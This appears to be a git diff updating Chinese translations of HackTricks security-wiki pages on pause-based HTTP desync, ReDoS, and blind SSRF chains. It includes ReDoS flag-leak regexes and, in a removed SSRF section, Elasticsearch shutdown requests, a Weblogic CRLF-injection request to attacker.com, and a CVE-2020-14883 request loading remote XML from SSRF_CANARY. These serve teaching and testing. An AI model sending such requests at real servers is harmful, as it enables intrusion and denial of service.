因此,攻击者可能会发送一个请求,**头部指示有一个正文**,然后**等待**,直到**前端超时后再发送正文**。如果前端超时但**保持连接开放**,那么该请求的**正文**将被**视为新请求**。
|
||||||
|
|
||||||
### 示例:**Varnish**
|
### 示例:**Varnish**
|
||||||
|
|
||||||
Varnish缓存有一个名为`synth()`的功能,它允许您发出**响应而不将请求转发**到后端。下面是一个用于阻止访问文件夹的示例规则:
|
Varnish缓存有一个叫做`synth()`的功能,它允许你在不将请求转发给后端的情况下发出**响应**。这里有一个用于阻止访问文件夹的示例规则:
|
||||||
```javascript
|
```javascript
|
||||||
if (req.url ~ "^/admin") {
|
if (req.url ~ "^/admin") {
|
||||||
return (synth(403, "Forbidden"));
|
return (synth(403, "Forbidden"));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
当处理与合成规则匹配的**部分请求**时,如果Varnish在**15秒**内未收到任何数据,它将**超时**。当发生这种情况时,它会**保持连接打开**以便重用,即使它只读取了一半的请求。这意味着如果**客户端随后发送第二部分**的HTTP请求,它将被解释为一个**新的请求**。
|
当处理一个与合成规则匹配的**部分请求**时,如果 Varnish 在**15秒**内没有收到数据,它将**超时**。发生这种情况时,即使它只读取了一半的请求,它也会**保持连接开放**以供重用。这意味着,如果**客户端跟进第二半部分**的 HTTP 请求,它将被解释为一个**全新的请求**。
|
||||||
|
|
||||||
要在易受攻击的前端触发基于暂停的不同步,首先发送头部,承诺有一个正文,然后等待。最终你会收到一个响应,当你最终发送请求正文时,它将被解释为一个新的请求:
|
要在易受攻击的前端触发基于暂停的不同步,首先发送你的头部,承诺有一个请求体,然后就等待。最终你会收到一个响应,当你最终发送请求体时,它将被解释为一个新的请求:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
显然,这个问题在1月25日被修复为[CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html)。
|
显然这个问题在1月25日作为 [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html) 被修复了。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 示例:**Apache**
|
### 示例:**Apache**
|
||||||
|
|
||||||
就像Varnish一样,它在**服务器自己生成响应的端点**上是易受攻击的,而不是让应用程序处理请求。其中一种情况是服务器级别的重定向:`Redirect 301 / /en`
|
就像 Varnish 一样,它在**服务器自己生成响应**的端点上是脆弱的,而不是让应用程序处理请求。这种情况的一个方式是服务器级别的重定向:`Redirect 301 / /en`
|
||||||
|
|
||||||
### 服务器端利用 <a href="#server" id="server"></a>
|
### 服务器端利用 <a href="#server" id="server"></a>
|
||||||
|
|
||||||
如果易受攻击的服务器(在这种情况下是Apache或Varnish)位于后端,则需要一个**前端**将请求(在这种情况下是HTTP头)**流式传输到后端**服务器,而不是缓冲整个请求正文。
|
如果易受攻击的服务器(在这个案例中是 Apache 或 Varnish)位于后端,需要一个**前端**,它将请求**流式传输到后端**服务器(在这个案例中是 http 头部),**不缓冲**整个请求体。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||||
|
|
||||||
在这种情况下,攻击者**直到发送正文之前都不会收到响应超时**。但是,如果他知道超时时间,这不应该是个问题。
|
在这种情况下,攻击者**不会收到响应超时,直到他发送了请求体**。但如果他知道超时时间,这不应该是问题。
|
||||||
|
|
||||||
亚马逊的应用程序负载均衡器(ALB)将根据需要**流式传输连接的数据**,但是如果它在**接收到**半个请求的**响应**(超时)**之前**接收到**正文**,它将**不会发送正文**,因此在这里必须利用**竞争条件**:
|
亚马逊的 Application Load Balancer (ALB) 将**根据需要流式传输连接的数据**,但如果它**在**收到**请求体之前**收到了半个请求的**响应**(超时),它**不会发送请求体**,所以这里必须利用**竞态条件**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
在**利用ALB后面的Apache时**,还存在一个额外的复杂性-**两个服务器**都有一个默认的**60秒超时**。这给发送请求的第二部分留下了一个**非常短的时间窗口**。RC攻击最终在66小时后成功。
|
在**利用 ALB 后面的 Apache**时有一个额外的复杂性 - **两个服务器**都有默认的**60秒超时**。这留下了一个**极其短暂的时间窗口**来发送请求的第二部分。经过66小时的努力,RC 攻击最终成功。
|
||||||
|
|
||||||
### MITM利用
|
### MITM 利用
|
||||||
|
|
||||||
显然,**无法停止浏览器的请求**以利用暂停不同步漏洞。然而,您总是可以**执行MITM攻击来暂停浏览器发送的请求**。请注意,此攻击**不依赖于解密**任何流量。
|
显然,**无法从浏览器停止一个请求**以利用 Pause-desync 漏洞。然而,你总是可以**执行 MITM 攻击来暂停浏览器发送的请求**。注意,这种攻击**不依赖于解密**任何流量。
|
||||||
|
|
||||||
攻击流程与常规的客户端不同步攻击非常**相似**。用户访问由攻击者控制的页面,该页面向目标应用程序发出一系列**跨域请求**。**第一个HTTP**请求被故意填充得如此**大**,以至于操作系统**将其分成多个TCP数据包**,使得主动的**MITM可以延迟最后一个数据包**,从而触发基于暂停的不同步。由于填充,**攻击者**可以根据**大小**简单地**识别**要**暂停**的**数据包**。
|
攻击流程与常规的客户端不同步攻击非常**相似**。用户访问攻击者控制的页面,该页面发出一系列**跨域请求**到目标应用程序。**第一个 HTTP** 请求被故意填充得很**大**,以至于操作系统**将其分割成多个 TCP 数据包**,使得一个活跃的**MITM 能够延迟最后一个数据包**,触发基于暂停的不同步。由于填充,**攻击者**可以仅根据**大小**来**识别**哪个**数据包需要暂停**。
|
||||||
|
|
||||||
从客户端的角度来看,除了请求填充之外,它看起来像是一个常规的客户端不同步使用HEAD gadget。
|
从客户端看,它看起来像是使用 HEAD 小工具的常规客户端不同步,除了请求填充:
|
||||||
```javascript
|
```javascript
|
||||||
let form = document.createElement('form')
|
let form = document.createElement('form')
|
||||||
form.method = 'POST'
|
form.method = 'POST'
|
||||||
|
@ -306,16 +300,18 @@ tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||||
```
|
```
|
||||||
## **参考资料**
|
## **参考资料**
|
||||||
|
|
||||||
* 本文的所有信息均来自[https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
* 本文信息来源于 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,75 +1,54 @@
|
||||||
# 正则表达式拒绝服务 - ReDoS
|
# 正则表达式拒绝服务攻击 - ReDoS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 简介
|
# 正则表达式拒绝服务攻击 (ReDoS)
|
||||||
|
|
||||||
**摘自** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
|
正则表达式拒绝服务攻击(ReDoS)是一种利用正则表达式实现中的低效率来进行的拒绝服务攻击。大多数正则表达式引擎可能会遇到极端情况,它们的**执行速度非常慢,通常与输入大小成指数关系**。通过利用这一点,攻击者可以导致使用正则表达式的程序长时间挂起。
|
||||||
|
|
||||||
**正则表达式拒绝服务 (ReDoS)** 是一种[拒绝服务](https://owasp.org/www-community/attacks/Denial\_of\_Service)攻击,利用了大多数正则表达式实现可能会导致其工作非常缓慢(与输入大小呈指数关系)的事实。攻击者可以使使用正则表达式的程序进入这些极端情况,然后长时间停顿。
|
## 问题正则表达式天真算法
|
||||||
|
|
||||||
### 描述
|
**查看详情 [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||||
|
|
||||||
#### 有问题的正则表达式天真算法 <a href="#the-problematic-regex-naive-algorithm" id="the-problematic-regex-naive-algorithm"></a>
|
|
||||||
|
|
||||||
正则表达式天真算法构建了一个[非确定有限自动机 (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine),它是一个有限状态机,对于每对状态和输入符号,可能有多个可能的下一个状态。然后引擎开始进行转换,直到输入结束。由于可能有多个可能的下一个状态,使用确定性算法。该算法逐个尝试所有可能的路径(如果需要),直到找到匹配项(或尝试并失败所有路径)。
|
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
|
||||||
|
|
||||||
例如,正则表达式 `^(a+)+$` 由以下 NFA 表示:
|
恶意正则表达式模式指的是那些可以**在特制输入上卡住**的模式。恶意正则表达式模式通常包含带有重复的分组,以及重复或交替的分组内部有重叠。一些恶意模式的例子包括:
|
||||||
|
|
||||||
![非确定有限自动机](https://owasp.org/www-community/assets/images/attacks/NFA.png)
|
* (a+)+
|
||||||
|
* ([a-zA-Z]+)*
|
||||||
|
* (a|aa)+
|
||||||
|
* (a|a?)+
|
||||||
|
* (.*a){x} 对于 x > 10
|
||||||
|
|
||||||
对于输入 `aaaaX`,上述图中有 16 条可能的路径。但对于 `aaaaaaaaaaaaaaaaX`,有 65536 条可能的路径,并且每增加一个 `a`,数量就会翻倍。这是天真算法有问题的一个极端情况,因为它必须经过许多路径,然后失败。
|
以上所有模式都容易受到输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 的影响(最小输入长度可能会稍有变化,取决于机器的快慢)。
|
||||||
|
|
||||||
请注意,并非所有算法都是天真的,实际上,正则表达式算法可以以高效的方式编写。不幸的是,今天大多数正则表达式引擎尝试解决的不仅仅是“纯粹”的正则表达式,还包括带有“特殊附加项”的“扩展”正则表达式,例如不能始终高效解决的反向引用(有关更多详细信息,请参见[Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression)中的“非正则语言的模式”)。因此,即使正则表达式不是“扩展”的,也会使用天真算法。
|
|
||||||
|
|
||||||
#### 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
|
|
||||||
|
|
||||||
如果一个正则表达式可以在特定输入上卡住,那么它被称为“恶意”正则表达式。
|
|
||||||
|
|
||||||
**恶意正则表达式模式包含**:
|
|
||||||
|
|
||||||
* 重复的分组
|
|
||||||
* 在重复的分组内部:
|
|
||||||
* 重复
|
|
||||||
* 重叠的选择
|
|
||||||
|
|
||||||
**恶意模式示例**:
|
|
||||||
|
|
||||||
* `(a+)+`
|
|
||||||
* `([a-zA-Z]+)*`
|
|
||||||
* `(a|aa)+`
|
|
||||||
* `(a|a?)+`
|
|
||||||
* `(.*a){x} for x \> 10`
|
|
||||||
|
|
||||||
上述所有模式都容易受到输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 的影响(在使用更快或更慢的机器时,最小输入长度可能会略有变化)。
|
|
||||||
|
|
||||||
## ReDoS 载荷
|
## ReDoS 载荷
|
||||||
|
|
||||||
### 通过 ReDoS 进行字符串泄露
|
### 通过ReDoS进行字符串泄露
|
||||||
|
|
||||||
在 CTF(或漏洞赏金)中,也许你**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,而**不匹配则不匹配**,使页面**冻结(超时或更长的处理时间)**可能会很有用。这样,你就可以**逐个字符地泄露**字符串:
|
在CTF(或漏洞赏金)中,您可能**控制着敏感信息(标志)与之匹配的正则表达式**。然后,如果能够使**页面冻结(超时或更长的处理时间)**,如果**正则表达式匹配**则**不冻结**。这样您就可以**逐个字符地泄露**字符串:
|
||||||
|
|
||||||
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中,你可以找到这个 ReDoS 规则:`^(?=<flag>)((.*)*)*salt$`
|
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中,您可以找到这条ReDoS规则:`^(?=<flag>)((.*)*)*salt$`
|
||||||
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||||
* 在[**这篇解答**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,你可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
* 在[**这篇writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,您可以找到这条规则:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||||
* 在[**这篇解答**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
* 在[**这篇writeup**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||||
### 控制输入和正则表达式的 ReDoS
|
|
||||||
|
|
||||||
以下是一些 ReDoS 示例,您可以同时控制输入和正则表达式:
|
### 控制输入和正则表达式的ReDoS
|
||||||
|
|
||||||
|
以下是您**控制**输入和正则表达式的**ReDoS**示例:
|
||||||
```javascript
|
```javascript
|
||||||
function check_time_regexp(regexp, text){
|
function check_time_regexp(regexp, text){
|
||||||
var t0 = new Date().getTime();;
|
var t0 = new Date().getTime();;
|
||||||
|
@ -104,18 +83,19 @@ Regexp (a+)*$ took 723 milliseconds.
|
||||||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击技巧!</strong></summary>
|
||||||
|
|
||||||
- 你在一个 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,586 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
本节内容摘自 [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
|
查看 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||||
|
|
||||||
## Elasticsearch
|
|
||||||
|
|
||||||
**常见绑定端口:9200**
|
|
||||||
|
|
||||||
当 Elasticsearch 在内部部署时,通常不需要认证。
|
|
||||||
|
|
||||||
如果您有一个部分盲目的 SSRF,您可以确定状态码,请检查以下端点是否返回 200:
|
|
||||||
```http
|
|
||||||
/_cluster/health
|
|
||||||
/_cat/indices
|
|
||||||
/_cat/health
|
|
||||||
```
|
|
||||||
如果您有一个盲目的SSRF,您可以发送POST请求,可以通过向以下路径发送POST请求来关闭Elasticsearch实例:
|
|
||||||
|
|
||||||
注意:`_shutdown` API已从Elasticsearch版本2.x及以上版本中移除。这只适用于Elasticsearch 1.6及以下版本:
|
|
||||||
```http
|
|
||||||
/_shutdown
|
|
||||||
/_cluster/nodes/_master/_shutdown
|
|
||||||
/_cluster/nodes/_shutdown
|
|
||||||
/_cluster/nodes/_all/_shutdown
|
|
||||||
```
|
|
||||||
## Weblogic
|
|
||||||
|
|
||||||
**常见绑定端口:80、443(SSL)、7001、8888**
|
|
||||||
|
|
||||||
**SSRF Canary:UDDI Explorer (CVE-2014-4210)**
|
|
||||||
```http
|
|
||||||
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
|
|
||||||
Host: target.com
|
|
||||||
Content-Length: 137
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
|
|
||||||
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
|
||||||
```
|
|
||||||
这也适用于GET请求:
|
|
||||||
```bash
|
|
||||||
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
|
||||||
```
|
|
||||||
此端点也容易受到CRLF注入攻击:
|
|
||||||
```
|
|
||||||
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
|
|
||||||
Host: vuln.weblogic
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: en
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
|
||||||
Connection: close
|
|
||||||
```
|
|
||||||
将导致以下请求:
|
|
||||||
```
|
|
||||||
root@mail:~# nc -lvp 4000
|
|
||||||
Listening on [0.0.0.0] (family 0, port 4000)
|
|
||||||
Connection from example.com 43111 received!
|
|
||||||
POST /exp HTTP/1.11
|
|
||||||
X-CLRF: Injected HTTP/1.1
|
|
||||||
Content-Type: text/xml; charset=UTF-8
|
|
||||||
soapAction: ""
|
|
||||||
Content-Length: 418
|
|
||||||
User-Agent: Java1.6.0_24
|
|
||||||
Host: attacker.com:4000
|
|
||||||
Accept: text/html, image/gif, image/jpeg, */*; q=.2
|
|
||||||
Connection: Keep-Alive
|
|
||||||
|
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
|
|
||||||
```
|
|
||||||
**SSRF Canary:CVE-2020-14883**
|
|
||||||
|
|
||||||
摘自[此处](https://forum.90sec.com/t/topic/1412)。
|
|
||||||
|
|
||||||
Linux:
|
|
||||||
```http
|
|
||||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
||||||
Host: vulnerablehost:7001
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: zh-CN,zh;q=0.9
|
|
||||||
Connection: close
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 117
|
|
||||||
|
|
||||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
|
||||||
```
|
|
||||||
Windows:
|
|
||||||
```http
|
|
||||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
||||||
